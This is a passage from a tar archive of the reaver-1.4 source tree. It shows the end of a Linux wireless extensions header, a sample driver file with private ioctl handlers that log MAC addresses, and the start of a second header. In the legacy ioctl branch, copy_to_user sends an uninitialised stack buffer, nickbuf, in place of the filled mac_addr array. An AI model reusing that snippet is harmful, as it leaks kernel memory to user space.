#define IW_QUAL_RCPI 0x80 /* Level + Noise are 802.11k RCPI */ #define IW_QUAL_ALL_INVALID 0x70 /* Frequency flags */ #define IW_FREQ_AUTO 0x00 /* Let the driver decides */ #define IW_FREQ_FIXED 0x01 /* Force a specific value */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 64 /* 512 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ #define IW_ENCODE_TEMP 0x0400 /* Temporary key */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_SAVING 0x4000 /* Value is relative (how aggressive)*/ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_TYPE 0x00FF /* Type of value */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ #define IW_TXPOW_RELATIVE 0x0002 /* Value is in arbitrary units */ #define IW_TXPOW_RANGE 0x1000 /* Range of value between min/max */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 0x00FF /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ #define IW_RETRY_SHORT 0x0010 /* Value is for short packets */ #define IW_RETRY_LONG 0x0020 /* Value is for long packets */ /* Scanning request flags */ #define IW_SCAN_DEFAULT 0x0000 /* Default scan of the driver */ #define IW_SCAN_ALL_ESSID 0x0001 /* Scan all ESSIDs */ #define IW_SCAN_THIS_ESSID 0x0002 /* Scan only this ESSID */ #define IW_SCAN_ALL_FREQ 0x0004 /* Scan all Frequencies */ #define IW_SCAN_THIS_FREQ 0x0008 /* Scan only this Frequency */ #define IW_SCAN_ALL_MODE 0x0010 /* Scan all Modes */ #define IW_SCAN_THIS_MODE 0x0020 /* Scan only this Mode */ #define IW_SCAN_ALL_RATE 0x0040 /* Scan all Bit-Rates */ #define IW_SCAN_THIS_RATE 0x0080 /* Scan only this Bit-Rate */ /* struct iw_scan_req scan_type */ #define IW_SCAN_TYPE_ACTIVE 0 #define IW_SCAN_TYPE_PASSIVE 1 /* Maximum size of returned data */ #define IW_SCAN_MAX_DATA 4096 /* In bytes */ /* Max number of char in custom event - use multiple of them if needed */ #define IW_CUSTOM_MAX 256 /* In bytes */ /* Generic information element */ #define IW_GENERIC_IE_MAX 1024 /* MLME requests (SIOCSIWMLME / struct iw_mlme) */ #define IW_MLME_DEAUTH 0 #define IW_MLME_DISASSOC 1 /* SIOCSIWAUTH/SIOCGIWAUTH struct iw_param flags */ #define IW_AUTH_INDEX 0x0FFF #define IW_AUTH_FLAGS 0xF000 /* SIOCSIWAUTH/SIOCGIWAUTH parameters (0 .. 4095) * (IW_AUTH_INDEX mask in struct iw_param flags; this is the index of the * parameter that is being set/get to; value will be read/written to * struct iw_param value field) */ #define IW_AUTH_WPA_VERSION 0 #define IW_AUTH_CIPHER_PAIRWISE 1 #define IW_AUTH_CIPHER_GROUP 2 #define IW_AUTH_KEY_MGMT 3 #define IW_AUTH_TKIP_COUNTERMEASURES 4 #define IW_AUTH_DROP_UNENCRYPTED 5 #define IW_AUTH_80211_AUTH_ALG 6 #define IW_AUTH_WPA_ENABLED 7 #define IW_AUTH_RX_UNENCRYPTED_EAPOL 8 #define IW_AUTH_ROAMING_CONTROL 9 #define IW_AUTH_PRIVACY_INVOKED 10 /* IW_AUTH_WPA_VERSION values (bit field) */ #define IW_AUTH_WPA_VERSION_DISABLED 0x00000001 #define IW_AUTH_WPA_VERSION_WPA 0x00000002 #define IW_AUTH_WPA_VERSION_WPA2 0x00000004 /* IW_AUTH_PAIRWISE_CIPHER and IW_AUTH_GROUP_CIPHER values (bit field) */ #define IW_AUTH_CIPHER_NONE 0x00000001 #define IW_AUTH_CIPHER_WEP40 0x00000002 #define IW_AUTH_CIPHER_TKIP 0x00000004 #define IW_AUTH_CIPHER_CCMP 0x00000008 #define IW_AUTH_CIPHER_WEP104 0x00000010 /* IW_AUTH_KEY_MGMT values (bit field) */ #define IW_AUTH_KEY_MGMT_802_1X 1 #define IW_AUTH_KEY_MGMT_PSK 2 /* IW_AUTH_80211_AUTH_ALG values (bit field) */ #define IW_AUTH_ALG_OPEN_SYSTEM 0x00000001 #define IW_AUTH_ALG_SHARED_KEY 0x00000002 #define IW_AUTH_ALG_LEAP 0x00000004 /* IW_AUTH_ROAMING_CONTROL values */ #define IW_AUTH_ROAMING_ENABLE 0 /* driver/firmware based roaming */ #define IW_AUTH_ROAMING_DISABLE 1 /* user space program used for roaming * control */ /* SIOCSIWENCODEEXT definitions */ #define IW_ENCODE_SEQ_MAX_SIZE 8 /* struct iw_encode_ext ->alg */ #define IW_ENCODE_ALG_NONE 0 #define IW_ENCODE_ALG_WEP 1 #define IW_ENCODE_ALG_TKIP 2 #define IW_ENCODE_ALG_CCMP 3 /* struct iw_encode_ext ->ext_flags */ #define IW_ENCODE_EXT_TX_SEQ_VALID 0x00000001 #define IW_ENCODE_EXT_RX_SEQ_VALID 0x00000002 #define IW_ENCODE_EXT_GROUP_KEY 0x00000004 #define IW_ENCODE_EXT_SET_TX_KEY 0x00000008 /* IWEVMICHAELMICFAILURE : struct iw_michaelmicfailure ->flags */ #define IW_MICFAILURE_KEY_ID 0x00000003 /* Key ID 0..3 */ #define IW_MICFAILURE_GROUP 0x00000004 #define IW_MICFAILURE_PAIRWISE 0x00000008 #define IW_MICFAILURE_STAKEY 0x00000010 #define IW_MICFAILURE_COUNT 0x00000060 /* 1 or 2 (0 = count not supported) */ /* Bit field values for enc_capa in struct iw_range */ #define IW_ENC_CAPA_WPA 0x00000001 #define IW_ENC_CAPA_WPA2 0x00000002 #define IW_ENC_CAPA_CIPHER_TKIP 0x00000004 #define IW_ENC_CAPA_CIPHER_CCMP 0x00000008 /* Event capability macros - in (struct iw_range *)->event_capa * Because we have more than 32 possible events, we use an array of * 32 bit bitmasks. Note : 32 bits = 0x20 = 2^5. */ #define IW_EVENT_CAPA_BASE(cmd) ((cmd >= SIOCIWFIRSTPRIV) ? \ (cmd - SIOCIWFIRSTPRIV + 0x60) : \ (cmd - SIOCSIWCOMMIT)) #define IW_EVENT_CAPA_INDEX(cmd) (IW_EVENT_CAPA_BASE(cmd) >> 5) #define IW_EVENT_CAPA_MASK(cmd) (1 << (IW_EVENT_CAPA_BASE(cmd) & 0x1F)) /* Event capability constants - event autogenerated by the kernel * This list is valid for most 802.11 devices, customise as needed... */ #define IW_EVENT_CAPA_K_0 (IW_EVENT_CAPA_MASK(0x8B04) | \ IW_EVENT_CAPA_MASK(0x8B06) | \ IW_EVENT_CAPA_MASK(0x8B1A)) #define IW_EVENT_CAPA_K_1 (IW_EVENT_CAPA_MASK(0x8B2A)) /* "Easy" macro to set events in iw_range (less efficient) */ #define IW_EVENT_CAPA_SET(event_capa, cmd) (event_capa[IW_EVENT_CAPA_INDEX(cmd)] |= IW_EVENT_CAPA_MASK(cmd)) #define IW_EVENT_CAPA_SET_KERNEL(event_capa) {event_capa[0] |= IW_EVENT_CAPA_K_0; event_capa[1] |= IW_EVENT_CAPA_K_1; } /* Modulations bitmasks */ #define IW_MODUL_ALL 0x00000000 /* Everything supported */ #define IW_MODUL_FH 0x00000001 /* Frequency Hopping */ #define IW_MODUL_DS 0x00000002 /* Original Direct Sequence */ #define IW_MODUL_CCK 0x00000004 /* 802.11b : 5.5 + 11 Mb/s */ #define IW_MODUL_11B (IW_MODUL_DS | IW_MODUL_CCK) #define IW_MODUL_PBCC 0x00000008 /* TI : 5.5 + 11 + 22 Mb/s */ #define IW_MODUL_OFDM_A 0x00000010 /* 802.11a : 54 Mb/s */ #define IW_MODUL_11A (IW_MODUL_OFDM_A) #define IW_MODUL_11AB (IW_MODUL_11B | IW_MODUL_11A) #define IW_MODUL_OFDM_G 0x00000020 /* 802.11g : 54 Mb/s */ #define IW_MODUL_11G (IW_MODUL_11B | IW_MODUL_OFDM_G) #define IW_MODUL_11AG (IW_MODUL_11G | IW_MODUL_11A) #define IW_MODUL_TURBO 0x00000040 /* ATH : bonding, 108 Mb/s */ /* In here we should define MIMO stuff. Later... */ #define IW_MODUL_CUSTOM 0x40000000 /* Driver specific */ /* Bitrate flags available */ #define IW_BITRATE_TYPE 0x00FF /* Type of value */ #define IW_BITRATE_UNICAST 0x0001 /* Maximum/Fixed unicast bitrate */ #define IW_BITRATE_BROADCAST 0x0002 /* Fixed broadcast bitrate */ /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory allocated in user space. */ struct iw_point { void __user *pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __s32 m; /* Mantissa */ __s16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ __u8 flags; /* Flags (fixed/auto) */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR, %missed beacons or better...) */ __u8 level; /* signal level (dBm) */ __u8 noise; /* noise level (dBm) */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... * Note : the list of counter and statistics in net_device_stats * is already pretty exhaustive, and you should use that first. * This is only additional stats... */ struct iw_discarded { __u32 nwid; /* Rx : Wrong nwid/essid */ __u32 code; /* Rx : Unable to code/decode (WEP) */ __u32 fragment; /* Rx : Can't perform MAC reassembly */ __u32 retries; /* Tx : Max MAC retries num reached */ __u32 misc; /* Others cases */ }; /* * Packet/Time period missed in the wireless adapter due to * "wireless" specific problems... */ struct iw_missed { __u32 beacon; /* Missed beacons/superframe */ }; /* * Quality range (for spy threshold) */ struct iw_thrspy { struct sockaddr addr; /* Source address (hw/mac) */ struct iw_quality qual; /* Quality of the link */ struct iw_quality low; /* Low threshold */ struct iw_quality high; /* High threshold */ }; /* * Optional data for scan request * * Note: these optional parameters are controlling parameters for the * scanning behavior, these do not apply to getting scan results * (SIOCGIWSCAN). Drivers are expected to keep a local BSS table and * provide a merged results with all BSSes even if the previous scan * request limited scanning to a subset, e.g., by specifying an SSID. * Especially, scan results are required to include an entry for the * current BSS if the driver is in Managed mode and associated with an AP. */ struct iw_scan_req { __u8 scan_type; /* IW_SCAN_TYPE_{ACTIVE,PASSIVE} */ __u8 essid_len; __u8 num_channels; /* num entries in channel_list; * 0 = scan all allowed channels */ __u8 flags; /* reserved as padding; use zero, this may * be used in the future for adding flags * to request different scan behavior */ struct sockaddr bssid; /* ff:ff:ff:ff:ff:ff for broadcast BSSID or * individual address of a specific BSS */ /* * Use this ESSID if IW_SCAN_THIS_ESSID flag is used instead of using * the current ESSID. This allows scan requests for specific ESSID * without having to change the current ESSID and potentially breaking * the current association. */ __u8 essid[IW_ESSID_MAX_SIZE]; /* * Optional parameters for changing the default scanning behavior. * These are based on the MLME-SCAN.request from IEEE Std 802.11. * TU is 1.024 ms. If these are set to 0, driver is expected to use * reasonable default values. min_channel_time defines the time that * will be used to wait for the first reply on each channel. If no * replies are received, next channel will be scanned after this. If * replies are received, total time waited on the channel is defined by * max_channel_time. */ __u32 min_channel_time; /* in TU */ __u32 max_channel_time; /* in TU */ struct iw_freq channel_list[IW_MAX_FREQUENCIES]; }; /* ------------------------- WPA SUPPORT ------------------------- */ /* * Extended data structure for get/set encoding (this is used with * SIOCSIWENCODEEXT/SIOCGIWENCODEEXT. struct iw_point and IW_ENCODE_* * flags are used in the same way as with SIOCSIWENCODE/SIOCGIWENCODE and * only the data contents changes (key data -> this structure, including * key data). * * If the new key is the first group key, it will be set as the default * TX key. Otherwise, default TX key index is only changed if * IW_ENCODE_EXT_SET_TX_KEY flag is set. * * Key will be changed with SIOCSIWENCODEEXT in all cases except for * special "change TX key index" operation which is indicated by setting * key_len = 0 and ext_flags |= IW_ENCODE_EXT_SET_TX_KEY. * * tx_seq/rx_seq are only used when respective * IW_ENCODE_EXT_{TX,RX}_SEQ_VALID flag is set in ext_flags. Normal * TKIP/CCMP operation is to set RX seq with SIOCSIWENCODEEXT and start * TX seq from zero whenever key is changed. SIOCGIWENCODEEXT is normally * used only by an Authenticator (AP or an IBSS station) to get the * current TX sequence number. Using TX_SEQ_VALID for SIOCSIWENCODEEXT and * RX_SEQ_VALID for SIOCGIWENCODEEXT are optional, but can be useful for * debugging/testing. */ struct iw_encode_ext { __u32 ext_flags; /* IW_ENCODE_EXT_* */ __u8 tx_seq[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ __u8 rx_seq[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ struct sockaddr addr; /* ff:ff:ff:ff:ff:ff for broadcast/multicast * (group) keys or unicast address for * individual keys */ __u16 alg; /* IW_ENCODE_ALG_* */ __u16 key_len; __u8 key[0]; }; /* SIOCSIWMLME data */ struct iw_mlme { __u16 cmd; /* IW_MLME_* */ __u16 reason_code; struct sockaddr addr; }; /* SIOCSIWPMKSA data */ #define IW_PMKSA_ADD 1 #define IW_PMKSA_REMOVE 2 #define IW_PMKSA_FLUSH 3 #define IW_PMKID_LEN 16 struct iw_pmksa { __u32 cmd; /* IW_PMKSA_* */ struct sockaddr bssid; __u8 pmkid[IW_PMKID_LEN]; }; /* IWEVMICHAELMICFAILURE data */ struct iw_michaelmicfailure { __u32 flags; struct sockaddr src_addr; __u8 tsc[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ }; /* IWEVPMKIDCAND data */ #define IW_PMKID_CAND_PREAUTH 0x00000001 /* RNS pre-authentication enabled */ struct iw_pmkid_cand { __u32 flags; /* IW_PMKID_CAND_* */ __u32 index; /* the smaller the index, the higher the * priority */ struct sockaddr bssid; }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ struct iw_missed miss; /* Packet missed counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * This structure defines the payload of an ioctl, and is used * below. * * Note that this structure should fit on the memory footprint * of iwreq (which is the same as ifreq), which mean a max size of * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... * You should check this when increasing the structures defined * above in this file... */ union iwreq_data { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct iw_quality qual; /* Quality part of statistics */ struct sockaddr ap_addr; /* Access point address */ struct sockaddr addr; /* Destination address (hw/mac) */ struct iw_param param; /* Other small parameters */ struct iw_point data; /* Other large parameters */ }; /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * Do I need to remind you about structure size (32 octets) ? */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Old Frequency (backward compat - moved lower ) */ __u16 old_num_channels; __u8 old_num_frequency; /* Wireless event capability bitmasks */ __u32 event_capa[6]; /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ /* Quality range (link, level, noise) * If the quality is absolute, it will be in the range [0 ; max_qual], * if the quality is dBm, it will be in the range [max_qual ; 0]. * Don't forget that we use 8 bit arithmetics... */ struct iw_quality max_qual; /* Quality of the link */ /* This should contain the average/typical values of the quality * indicator. This should be the threshold between a "good" and * a "bad" link (example : monitor going from green to orange). * Currently, user space apps like quality monitors don't have any * way to calibrate the measurement. With this, they can split * the range between 0 and max_qual in different quality level * (using a geometric subdivision centered on the average). * I expect that people doing the user space apps will feedback * us on which value we need to put in each driver... */ struct iw_quality avg_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* For drivers that need a "login/passwd" form */ __u8 encoding_login_index; /* token index for login token */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ __u8 we_version_compiled; /* Must be WIRELESS_EXT */ __u8 we_version_source; /* Last update of source */ /* Retry limits and lifetime */ __u16 retry_capa; /* What retry options are supported */ __u16 retry_flags; /* How to decode max/min retry limit */ __u16 r_time_flags; /* How to decode max/min retry life */ __s32 min_retry; /* Minimal number of retries */ __s32 max_retry; /* Maximal number of retries */ __s32 min_r_time; /* Minimal retry lifetime */ __s32 max_r_time; /* Maximal retry lifetime */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers, * because each entry contain its channel index */ __u32 enc_capa; /* IW_ENC_CAPA_* bit field */ /* More power management stuff */ __s32 min_pms; /* Minimal PM saving */ __s32 max_pms; /* Maximal PM saving */ __u16 pms_flags; /* How to decode max/min PM saving */ /* All available modulations for driver (hw may support less) */ __s32 modul_capa; /* IW_MODUL_* bit field */ /* More bitrate stuff */ __u32 bitrate_capa; /* Types of bitrates supported */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; /* ----------------------- WIRELESS EVENTS ----------------------- */ /* * Wireless events are carried through the rtnetlink socket to user * space. They are encapsulated in the IFLA_WIRELESS field of * a RTM_NEWLINK message. */ /* * A Wireless Event. Contains basically the same data as the ioctl... */ struct iw_event { __u16 len; /* Real lenght of this stuff */ __u16 cmd; /* Wireless IOCTL */ union iwreq_data u; /* IOCTL fixed payload */ }; /* Size of the Event prefix (including padding and alignement junk) */ #define IW_EV_LCP_LEN (sizeof(struct iw_event) - sizeof(union iwreq_data)) /* Size of the various events */ #define IW_EV_CHAR_LEN (IW_EV_LCP_LEN + IFNAMSIZ) #define IW_EV_UINT_LEN (IW_EV_LCP_LEN + sizeof(__u32)) #define IW_EV_FREQ_LEN (IW_EV_LCP_LEN + sizeof(struct iw_freq)) #define IW_EV_PARAM_LEN (IW_EV_LCP_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_LEN (IW_EV_LCP_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_LEN (IW_EV_LCP_LEN + sizeof(struct iw_quality)) /* iw_point events are special. First, the payload (extra data) come at * the end of the event, so they are bigger than IW_EV_POINT_LEN. Second, * we omit the pointer, so start at an offset. */ #define IW_EV_POINT_OFF (((char *) &(((struct iw_point *) NULL)->length)) - \ (char *) NULL) #define IW_EV_POINT_LEN (IW_EV_LCP_LEN + sizeof(struct iw_point) - \ IW_EV_POINT_OFF) #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/sample_priv_addr.c0000755000175000017500000001460311705505257017247 0ustar reaverreaver/* Note : this particular snipset of code is available under * the LGPL, MPL or BSD license (at your choice). * Jean II */ // Require Wireless Tools 25 for sub-ioctl and addr support /* --------------------------- INCLUDE --------------------------- */ #if WIRELESS_EXT <= 12 /* Wireless extensions backward compatibility */ /* We need the full definition for private ioctls */ struct iw_request_info { __u16 cmd; /* Wireless Extension command */ __u16 flags; /* More to come ;-) */ }; #endif /* WIRELESS_EXT <= 12 */ #ifndef IW_PRIV_TYPE_ADDR #define IW_PRIV_TYPE_ADDR 0x6000 #endif /* IW_PRIV_TYPE_ADDR */ /* --------------------------- HANDLERS --------------------------- */ /* First method : using sub-ioctls. * Note that sizeof(int + struct sockaddr) = 20 > 16, therefore the * data is passed in (char *) extra, and sub-ioctl in data->flags. */ static int sample_ioctl_set_mac(struct net_device *dev, struct iw_request_info *info, struct iw_point *data, struct sockaddr *mac_addr) { unsigned char * addr = (char *) &mac_addr->sa_data; switch(data->flags) { case 0: printk(KERN_DEBUG "%s: mac_add %02X:%02X:%02X:%02X:%02X:%02X\n", dev->name, addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]); break; case 1: printk(KERN_DEBUG "%s: mac_del %02X:%02X:%02X:%02X:%02X:%02X\n", dev->name, addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]); break; case 2: printk(KERN_DEBUG "%s: mac_kick %02X:%02X:%02X:%02X:%02X:%02X\n", dev->name, addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]); break; default: printk(KERN_DEBUG "%s: mac_undefined %02X:%02X:%02X:%02X:%02X:%02X\n", dev->name, addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]); break; } return 0; } /* Second method : bind single handler to multiple ioctls. * Note that sizeof(struct sockaddr) = 16 <= 16, therefore the * data is passed in (struct iwreq) (and also mapped in extra). */ static int sample_ioctl_set_addr(struct net_device *dev, struct iw_request_info *info, struct sockaddr *mac_addr, char *extra) { unsigned char * addr = (char *) &mac_addr->sa_data; switch(info->cmd) { case SIOCIWFIRSTPRIV + 28: printk(KERN_DEBUG "%s: addr_add %02X:%02X:%02X:%02X:%02X:%02X\n", dev->name, addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]); break; case SIOCIWFIRSTPRIV + 30: printk(KERN_DEBUG "%s: addr_del %02X:%02X:%02X:%02X:%02X:%02X\n", dev->name, addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]); break; default: printk(KERN_DEBUG "%s: mac_undefined %02X:%02X:%02X:%02X:%02X:%02X\n", dev->name, addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]); break; } return 0; } // Extra fun for testing static int sample_ioctl_get_mac(struct net_device *dev, struct iw_request_info *info, struct iw_point *data, struct sockaddr *mac_addr) { unsigned char fake_addr[6]; int i; int j; for(i = 0; i < 16; i++) { /* Create a fake address */ for(j = 0; j < 6; j++) fake_addr[j] = (unsigned char) ((j << 4) + i); /* Put in in the table */ memcpy(&(mac_addr[i]).sa_data, fake_addr, ETH_ALEN); mac_addr[i].sa_family = ARPHRD_ETHER; } data->length = 16; return 0; } static int sample_ioctl_set_float(struct net_device *dev, struct iw_request_info *info, struct iw_freq *freq, char *extra) { printk(KERN_DEBUG "%s: set_float %d;%d\n", dev->name, freq->m, freq->e); return 0; } /* --------------------------- BINDING --------------------------- */ static const struct iw_priv_args sample_priv[] = { // *** Method 1 : using sub-ioctls *** /* --- sub-ioctls handler --- */ { SIOCIWFIRSTPRIV + 0, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED | 1, 0, "" }, /* --- sub-ioctls definitions --- */ { 0, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED | 1, 0, "macadd" }, { 1, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED | 1, 0, "macdel" }, { 2, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED | 1, 0, "mackick" }, // *** Method 2 : binding one handler to multiple ioctls *** { SIOCIWFIRSTPRIV + 2, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED | 1, 0, "addradd" }, { SIOCIWFIRSTPRIV + 4, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED | 1, 0, "addrdel" }, // *** Extra fun *** { SIOCIWFIRSTPRIV + 1, 0, IW_PRIV_TYPE_ADDR | 16, "macget" }, { SIOCIWFIRSTPRIV + 6, IW_PRIV_TYPE_FLOAT | IW_PRIV_SIZE_FIXED | 1, 0, "setfloat" }, }; static const iw_handler sample_private_handler[] = { /* SIOCIWFIRSTPRIV + */ #if WIRELESS_EXT >= 15 /* Various little annoying bugs in the new API before * version 15 make it difficult to use the new API for those ioctls. * For example, it doesn't know about the new data type. * Rather than littering the code with workarounds, * let's use the regular ioctl handler. - Jean II */ (iw_handler) sample_ioctl_set_mac, /* 0 */ (iw_handler) sample_ioctl_get_mac, /* 1 */ (iw_handler) sample_ioctl_set_addr, /* 2 */ (iw_handler) NULL, /* 3 */ (iw_handler) sample_ioctl_set_addr, /* 4 */ (iw_handler) NULL, /* 5 */ (iw_handler) sample_ioctl_set_float, /* 6 */ #endif /* WIRELESS_EXT >= 15 */ }; #if WIRELESS_EXT < 15 /* Various little annoying bugs in the new API before * version 15 make it difficult to use those ioctls. * For example, it doesn't know about the new data type. * Rather than littering the code with workarounds, * let's use this code that just works. - Jean II */ case SIOCIWFIRSTPRIV + 0: if (wrq->u.data.length > 1) ret = -E2BIG; else if (wrq->u.data.pointer) { struct sockaddr mac_addr; if (copy_from_user(&mac_addr, wrq->u.data.pointer, sizeof(struct sockaddr))) { ret = -EFAULT; break; } ret = sample_ioctl_set_mac(dev, NULL, &wrq->u.data, &mac_addr); } break; case SIOCIWFIRSTPRIV + 2: case SIOCIWFIRSTPRIV + 4: if (!capable(CAP_NET_ADMIN)) ret = -EPERM; else { struct iw_request_info info; info.cmd = cmd; ret = sample_ioctl_set_addr(dev, &info, &wrq->u.ap_addr, NULL); } break; case SIOCIWFIRSTPRIV + 1: if (wrq->u.essid.pointer) { struct sockaddr mac_addr[16]; char nickbuf[IW_ESSID_MAX_SIZE + 1]; ret = sample_ioctl_get_mac(dev, NULL, &wrq->u.data, mac_addr); if (copy_to_user(wrq->u.data.pointer, nickbuf, wrq->u.data.length * sizeof(struct sockaddr))) ret = -EFAULT; } break; case SIOCIWFIRSTPRIV + 6: if (!capable(CAP_NET_ADMIN)) ret = -EPERM; else { ret = sample_ioctl_set_float(dev, NULL, &wrq->u.freq, NULL); } break; #endif /* WIRELESS_EXT < 15 */ reaver-1.4/src/lwe/wireless.19.h0000755000175000017500000011713711705505257016034 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 19 18.3.05 * * Authors : Jean Tourrilhes - 